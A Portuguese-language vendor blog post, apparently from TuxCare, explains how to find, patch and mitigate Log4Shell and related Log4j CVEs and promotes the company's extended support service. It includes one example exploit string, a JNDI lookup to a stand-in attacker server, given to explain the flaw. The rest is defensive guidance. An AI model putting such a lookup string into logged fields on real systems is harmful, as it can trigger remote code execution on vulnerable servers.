Suporte Técnico
Documentação
Entrar
Entre em contato conosco
Vá direto para um resumo gerado por IA desta postagem do blog 
Principais conclusões
- A correção da vulnerabilidade do Log4j, cujo suporte se estende até 2026, é uma versão atualmente mantida log4j-core , bem posterior à versão 2.17.1.
- Se você ficar na versão 2.15.0 ou 2.16.0 em 2021, ainda estará vulnerável a vulnerabilidades (CVEs) divulgadas dias depois.
- O mais difícil é localizar todas as instâncias do Log4j em JARs com conteúdo oculto, imagens base e dispositivos de fornecedores.
Se um scanner acabou de sinalizar log4j-core, a correção da vulnerabilidade do Log4j em si é curta. Atualize o log4j-core e log4j-api juntos para uma versão do Log4j atualmente mantida no Java 8 ou mais recente. Não consegue recompilar agora? Exclua o arquivo classe JndiLookup do JAR irá adiar o Log4Shell, mas isso só ganha tempo.
Tudo o que vem a partir deste parágrafo aborda o que essa versão resumida omite. Você verá onde as cópias não listadas costumam aparecer: JARs ocultos, dispositivos de fornecedores e contêineres que ninguém incluiu no inventário. Você também verá por que a aplicação de patches para as versões 2.15.0 ou 2.16.0 em 2021 não significa que você esteja protegido hoje, e o que fazer com a instância do Log4j que você não tem permissão para alterar até a próxima janela de manutenção.
O que é a vulnerabilidade do Log4j conhecida como Log4Shell?
Log4Shell, identificada como CVE-2021-44228, é uma vulnerabilidade de execução remota de código no Apache Log4j 2. Ela afeta as versões 2.0-beta9 a 2.3, 2.4 a 2.12.1 e 2.13.0 a 2.14.1, e possui uma pontuação CVSS de 10,0. Não é possível obter uma pontuação maior do que essa.
The root cause was Log4j’s message-lookup feature, which treated certain substrings inside a logged value as instructions instead of plain text. Drop a string like ${jndi:ldap://attacker-server/a} into any logged field, and a vulnerable Log4j would fire off a JNDI lookup to a server the attacker controls. In plenty of real environments, that lookup ended with the attacker’s code running inside the application. No credentials needed. Nobody had to click anything, and the payload could ride in on something as ordinary as a User-Agent header.
Por que a correção da vulnerabilidade do Log4j ainda é importante em 2026
O Log4Shell veio a público há quase cinco anos, e a CISA o incluiu em seu catálogo de Vulnerabilidades Conhecidas como Exploradas (KEV) naquela mesma semana. Ele ainda não desapareceu. Uma pesquisa da Sonatype revelou que aproximadamente 13% dos downloads do Log4j do Maven Central em 2025, cerca de 40 milhões de um total de quase 300 milhões, ainda utilizavam uma versão vulnerável ao Log4Shell. A Contrast Security constatou que 12% dos aplicativos Java ainda estavam executando uma versão vulnerável três anos após a divulgação.
Parte disso se deve a equipes que nunca aplicaram nenhuma atualização. Muito disso também decorre da forma como os gráficos de dependências se alteram posteriormente. Um novo serviço criado a partir de um modelo de projeto antigo herda a versão que esse modelo fixou. Uma alteração de dependência em outro lugar pode alterar a resolução transitiva e trazer de volta uma versão mais antiga do Log4j. E um sistema restaurado a partir de um backup feito antes de dezembro de 2021 volta exatamente tão vulnerável quanto no dia em que foi copiado. Qualquer uma dessas situações pode reintroduzir uma versão vulnerável em um ambiente que já passou por uma verificação, sem que ninguém tenha decidido reverter a correção.
Como funcionam os ataques do Log4Shell
A cadeia é curta, o que explica em grande parte por que causou tantos danos. Um invasor insere uma string de pesquisa JNDI em qualquer campo que o aplicativo registre, seja um cabeçalho de solicitação, um nome de usuário ou uma consulta de busca. O Log4j avalia a string como uma instrução, em vez de exibi-la como texto, e a JVM abre uma conexão de saída para o servidor LDAP ou RMI indicado nela. Em uma configuração vulnerável, essa consulta pode resultar na execução de código controlado pelo invasor com os mesmos privilégios do aplicativo de registro.
A exploração da vulnerabilidade CVE-2021-44228 não requer autenticação, e o aplicativo não precisa realizar nenhuma ação incomum com a entrada. Basta que a string chegue, eventualmente, a uma instrução de registro em log.
Descobertas vulnerabilidades relacionadas ao Log4j
O Log4Shell não foi resolvido com uma única correção. O Apache lançou quatro versões em menos de três semanas, e cada uma delas corrigia uma falha que a versão anterior havia deixado em aberto. Se sua equipe aplicou o patch uma vez em dezembro de 2021 e seguiu em frente, há uma boa chance de que a correção da vulnerabilidade do Log4j tenha parado na versão 2.15.0 ou 2.16.0, e ambas ainda estão expostas a pelo menos um CVE nesta tabela.
| CVE | CVSS | Corrigido em | NVD publicado | O que ele realmente abrange |
| CVE-2021-44228 (Log4Shell) | 10,0 Crítico | 2.15.0 (parcial) | 10 de dezembro de 2021 | Execução remota de código sem autenticação por meio de consultas JNDI em strings registradas. Afeta as versões 2.0-beta9 a 2.3, 2.4 a 2.12.1 e 2.13.0 a 2.14.1. |
| CVE-2021-45046 | 9,0 Crítico | 2.16.0 | 14 de dezembro de 2021 | A correção da versão 2.15.0 estava incompleta em configurações não padrão, ainda permitindo vazamentos de dados e execução remota de código. O Apache revisou a pontuação para cima, de um valor inicial de 3,7, assim que o impacto real foi compreendido. |
| CVE-2021-45105 | 5,9 Médio | 2.17.0 | 18 de dezembro de 2021 | Recursão descontrolada em consultas autorreferenciais, causando a falha do processo por meio de uma negação de serviço, em vez da execução de código. |
| CVE-2021-44832 | 6.6 Médio | 2.17.1 | 28 de dezembro de 2021 | Execução remota de código por meio do JDBC Appender, mas somente se um invasor já puder modificar sua configuração de registro em log. |
| CVE-2021-4104 | 7,5 Alto | Não há correção no código-fonte | 14 de dezembro de 2021 | Deserialização por meio do JMSAppender, mas somente quando o JMSAppender estiver configurado e um invasor puder alterar a configuração de registro em log. O Log4j 1.x está fora de suporte desde agosto de 2015; portanto, não há patch do desenvolvedor original e nunca haverá. |
No Java 8, a versão 2.17.1 foi a primeira a corrigir todas as quatro falhas do Log4j 2 mencionadas acima. As equipes que oferecem suporte ao Java 7 ou ao Java 6 também não ficaram de fora, pois o Apache implementou as mesmas correções no 2.12.4 e 2.3.2, as últimas versões lançadas para esses ramos.
Isso, porém, não significa que a versão 2.17.1 seja uma boa opção para se parar em 2026. O Apache agora classifica toda a linha 2.17.x como em fim de manutenção, e as correções para os problemas do Log4j identificados desde então são incorporadas às linhas 2.25.x e 2.26.x, que continuam em manutenção.
O Log4j 1.x fica fora de toda essa evolução. Ele não possui o recurso de pesquisa que está por trás do Log4Shell, mas chegou ao o fim de vida útil em agosto de 2015, anos antes de tudo isso acontecer, portanto, nada no código-fonte original jamais corrigirá a vulnerabilidade CVE-2021-4104. Certificar-se de que o JMSAppender não esteja configurado fecha essa brecha específica. A longo prazo, as opções realistas são migrar da versão 1.x ou executar uma compilação mantida, como o ELS da TuxCare para o Log4j 1.2.x.
Como detectar a vulnerabilidade do Log4j em seu ambiente
Três verificações detectam três aspectos diferentes, e ignorar qualquer uma delas deixa uma lacuna que as outras duas não conseguirão preencher.
Verifique primeiro seus manifestos de compilação
mvn dependency:tree -Dincludes=org.apache.logging.log4j
./gradlew dependencies –configuration runtimeClasspath | grep log4j
Isso lista todas as dependências do Log4j que sua compilação resolve, incluindo as transitivas. Ele não encontrará nada incluído em um JAR de fornecedor que nunca tenha sido declarado como dependência desde o início.
Pesquisar artefatos implantados para a própria classe
Os JARs ocultos podem realocar pacotes ou remover os metadados dos quais os rastreadores dependem, mas o bytecode ainda está lá. Pesquise diretamente nos arquivos e direcione a pesquisa para os caminhos onde seus aplicativos realmente estão localizados. Rastrear todos os / em um servidor de produção com alta carga é lento e sobrecarrega a E/S do disco.
find /opt /srv /var/lib ‘(‘ -name “*.jar” -o -name “*.war” -o -name “*.ear” ‘)’ -type f 2>/dev/null |
while read -r f; do
unzip -l “$f” 2>/dev/null | grep -qE ‘JndiLookup\.class|log4j-core’ && echo “$f”
done
Qualquer resultado que sua pesquisa no manifesto ainda não tenha revelado é uma cópia que ninguém declarou, como o arquivo WAR de dez anos atrás, o dispositivo de um fornecedor ou a imagem base que alguém criou em 2019. Lembre-se de que um resultado significa que o Log4j 2 está presente, não que ele esteja vulnerável. Versões corrigidas ainda são distribuídas JndiLookup.class; portanto, verifique a versão antes de abrir um ticket (o arquivo pom.properties em META-INF/maven dentro do JAR geralmente contém essa informação). Camadas de imagens de contêineres, dispositivos nos quais não é possível acessar o shell e arquivos aninhados em vários níveis exigem um scanner desenvolvido especificamente para essa finalidade, em vez de um comando de uma linha.
Verifique o que está realmente em execução
Um arquivo JAR armazenado no disco que nunca é carregado é uma constatação de menor prioridade do que a mesma classe carregada dentro de um processo ativo. Verifique as JVMs em execução e confirme qual versão do Log4j cada processo realmente utilizou na inicialização, já que isso pode diferir do que está no controle de código-fonte ou do que foi incorporado a uma imagem meses atrás.
On a host, lsof -p <PID> | grep -i log4j lists the Log4j JARs a running JVM currently has open. That’s good evidence, but it isn’t a complete record of every class the process has loaded, and fat JARs only show up as the outer archive. Pair it with the artifact search above.
Observação: Execute todas as três verificações, nessa ordem, antes de considerar concluída a correção da vulnerabilidade do Log4j. Uma verificação do manifesto, por si só, indicará tranquilamente que o aplicativo está limpo, mesmo que uma cópia fornecida pelo fornecedor esteja localizada três diretórios adiante.
Como corrigir a vulnerabilidade do Log4j, passo a passo
Atualizar ou fazer o backport da biblioteca
Atualização log4j-core e log4j-api juntos para uma versão do Log4j atualmente mantida que seja compatível com seu ambiente de execução Java. No Java 8, a versão 2.17.1 foi a primeira a corrigir todas as quatro vulnerabilidades (CVEs) abordadas aqui, mas essa versão já está no fim do ciclo de manutenção; portanto, considere-a como o mínimo exigido para 2021 e busque uma versão mais recente. Fixe ou gerencie centralmente a versão (importando log4j-bom no arquivo dependencyManagement do Maven funciona bem) em vez de deixar isso a cargo da resolução transitiva, que pode, sem você perceber, trazer de volta uma cópia mais antiga. Em seguida, recompile todos os artefatos que incluem a biblioteca, não apenas aquele que foi sinalizado pelo scanner.
Algumas instâncias simplesmente não podem ser atualizadas dentro do seu cronograma. O Log4j 1.x não possui nenhuma correção do desenvolvedor original, e alguns aplicativos estão vinculados a uma versão mais antiga do Log4j que não permite um salto de versão sem uma reformulação significativa.
Essa é a lacuna para o Suporte de Ciclo de Vida Ilimitado da TuxCare para o Log4j foi criado para preencher, conforme explicado com mais detalhes a seguir. As cópias fornecidas pelos fornecedores representam um problema diferente. Aparelhos e compilações proprietárias geralmente não podem ser modificados sem violar uma compilação assinada ou um contrato de suporte; portanto, a correção deve vir do próprio fornecedor.
Minimize os riscos do que ainda não é possível corrigir
Se uma recompilação for bloqueada em uma versão do Log4j 2 afetada, a medida de mitigação de emergência recomendada pela Apache durante a resposta ao Log4Shell foi remover fisicamente a classe vulnerável:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Essa configuração permanece válida após reinicializações e não depende da configuração em tempo de execução. Ela bloqueia o caminho de pesquisa JNDI relacionado às vulnerabilidades CVE-2021-44228 e CVE-2021-45046, mas não oferece proteção contra a negação de serviço descrita na CVE-2021-45105 nem contra o problema do JDBC Appender descrito na CVE-2021-44832. O flag formatMsgNoLookups , que circulou como uma solução alternativa inicial, só existe na versão 2.10 e posteriores, e não resolve de forma alguma o CVE-2021-45046. Qualquer uma delas serve para ganhar tempo até que a atualização seja lançada.
Verifique se a correção foi aplicada no sistema em execução
Execute novamente a pesquisa de artefatos da seção anterior e, em seguida, confirme a versão carregada em cada JVM ativa. Uma versão corrigida armazenada no seu registro não diz nada sobre o contêiner que está atendendo ao tráfego neste momento a partir de uma imagem criada há duas implantações. Anote também o que você verificou em tempo de execução. Esse registro é o que permite encerrar a ocorrência de vez, em vez de redescobri-la na próxima verificação.
Quando não é possível fazer a atualização
Algumas implantações do Log4j não conseguem migrar para uma versão com suporte dentro de um prazo razoável. Pense em um aplicativo congelado antes de uma auditoria de conformidade ou em um sistema cujo caminho de atualização passa por código que ninguém da equipe atual escreveu. No entanto, permanecer na situação atual tem um custo. O Log4j 2.14.1 está bem dentro do intervalo afetado pela vulnerabilidade CVE-2021-44228, e essa é uma falha com pontuação CVSS 10,0 que não requer autenticação e nada mais do que uma string registrada.
Suporte de ciclo de vida ilimitado da TuxCare para o Log4j oferece compilações prontas para uso, com correções de segurança, de versões do Log4j que o desenvolvedor original já não mantém. Isso abrange as versões 1.2.14 a 1.2.17, além de versões 2.x mais antigas, como 2.5, 2.11.0, 2.17.1 e 2.17.2. Equipes que utilizam uma versão não coberta, como a 2.14.1, podem migrar para uma versão compatível e suportada. Isso ainda representa uma mudança de versão, acompanhada de recompilação e testes, mas pode ser uma mudança muito menor do que saltar diretamente para a 2.25.x. Uma vez nessa versão, o sistema continua recebendo correções de segurança enquanto a migração mais ampla é planejada de acordo com sua programação.
Evitar que a correção se reverta
O fato de passar na verificação uma vez não significa que a correção seja permanente. Alguns hábitos ajudam a manter a situação assim, sem que isso se transforme em um segundo emprego em tempo integral.
Comece fixando log4j-core e log4j-api explicitamente em todos os arquivos de compilação que os utilizam, em vez de deixar que um POM pai ou uma dependência transitiva decida por você. Em seguida, transforme o inventário em uma tarefa recorrente, em vez de uma auditoria pontual. Novos serviços, backups restaurados e imagens de contêiner antigas podem trazer de volta uma versão vulnerável sem que ninguém tenha a intenção de fazê-lo. Execute a pesquisa de artefatos em uma programação regular e verifique as versões encontradas, pois o JndiLookup.class , por si só, também sinaliza cópias corrigidas.
Restrinja o acesso de saída à rede a partir dos servidores de aplicativos sempre que possível. A via clássica de exploração do Log4Shell depende de o host acessar o servidor LDAP ou RMI do invasor; portanto, a filtragem de saída interrompe a cadeia de ataque mais comum. Isso não impedirá vazamentos de dados baseados em DNS nem as vulnerabilidades CVE que não dependem de callbacks JNDI. Trata-se de uma defesa em profundidade — você ainda precisa aplicar os patches.
Por fim, classifique as bibliotecas e os ambientes de execução em fim de vida (EOL) como uma categoria de inventário própria, separada da categoria “necessita de atualização de versão”. Um componente com suporte possui um caminho ativo do desenvolvedor original para uma correção. Um componente em fim de vida (EOL) só recebe correções se algo como um contrato de suporte de ciclo de vida estendido estiver fazendo o backport delas.
Proteja o Log4j com a TuxCare
O Log4j não será a última biblioteca que se revelará onipresente e silenciosamente perigosa, mas é aquela pela qual a maioria das equipes de Java já passou pelo menos uma vez. Suporte de Ciclo de Vida Ilimitado da TuxCare estende a aplicação de patches de segurança ao Log4j e a outras bibliotecas e ambientes de execução mesmo após o fim oficial de vida útil deles; assim, uma versão que você ainda não pode atualizar não precisa ser uma versão que você esteja executando sem patches. Se o seu inventário identificar instâncias do Log4j que não podem ser atualizadas dentro do prazo, esse é exatamente o tipo de problema para o qual o serviço foi criado.
